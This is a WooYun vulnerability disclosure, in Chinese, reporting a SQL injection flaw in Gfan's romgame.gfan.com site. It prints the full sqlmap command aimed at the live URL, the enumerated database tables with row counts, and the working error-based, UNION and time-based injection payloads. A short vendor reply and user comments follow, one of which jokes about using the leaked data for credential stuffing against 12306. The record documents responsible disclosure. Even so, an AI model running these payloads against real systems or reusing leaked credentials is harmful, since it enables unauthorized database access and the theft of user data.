缺陷编号:WooYun-2014-089323
漏洞标题:机锋网存在高危SQL注入漏洞还是可能导致2000w用户数据泄漏
相关厂商:机锋网
漏洞作者:黑暗游侠
提交时间:2014-12-30 12:53
公开时间:2015-02-13 12:54
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
2014-12-30: 细节已通知厂商并且等待厂商处理中
2014-12-30: 厂商已经确认,细节仅向厂商公开
2015-01-09: 细节向核心白帽子及相关领域专家公开
2015-01-19: 细节向普通白帽子公开
2015-01-29: 细节向实习白帽子公开
2015-02-13: 细节向公众公开
机锋网存在高危SQL注入漏洞,还是2000w用户数据泄漏
sqlmap,随便拿一个数据库举例:
1 |
sqlmap -u "http://romgame.gfan.com/index.php/gtphone?areacode=*" --dbms=MySQL --risk=3 --level=5 --count -D hd --threads=10 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
Database: hd<br> +----------------------+---------+<br> | Table | Entries |<br> +----------------------+---------+<br> | rom_act_log | 50973 |<br> | rom_act_log_norepet | 16045 |<br> | autumn_taste_log | 1747 |<br> | autumn_draw_log | 1161 |<br> | rom_cellphone | 193 |<br> | autumn_draw_count | 162 |<br> | rom_apply_info | 110 |<br> sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br> ---<br> Place: URI<br> Parameter: #1*<br> Type: error-based<br> Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause<br> Payload: http://romgame.gfan.com:80/index.php/gtphone?areacode=-3398 OR (SELECT 3113 FROM(SELECT COUNT(*),CONCAT(0x7178736571,(SELECT (CASE WHEN (3113=3113) THEN 1 ELSE 0 END)),0x71626f7471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)Type: UNION query<br> Title: MySQL UNION query (random number) - 3 columns<br> Payload: http://romgame.gfan.com:80/index.php/gtphone?areacode=-8998 UNION ALL SELECT 8335,8335,CONCAT(0x7178736571,0x6a765965564d414e516e,0x71626f7471)#Type: AND/OR time-based blind<br> Title: MySQL > 5.0.11 OR time-based blind<br> Payload: http://romgame.gfan.com:80/index.php/gtphone?areacode=-2114 OR 3908=SLEEP(5)<br> ---<br> [12:46:20] [INFO] testing MySQL<br> [12:46:21] [WARNING] automatically patching output having last char trimmed<br> [12:46:21] [INFO] confirming MySQL<br> [12:46:22] [INFO] the back-end DBMS is MySQL<br> back-end DBMS: MySQL >= 5.0.0 |
危害等级:中
漏洞Rank:10
确认时间:2014-12-3012:54
修复中,谢谢提交。。。
暂无
一秒钟。。
厂商屌爆
可撞库。。。去撞12306的哈哈。
还是。。。看到还是就笑了
@疯狗 我读书少,是一分钟吧。
原文连接
的情况下转载,若非则不得使用我方内容。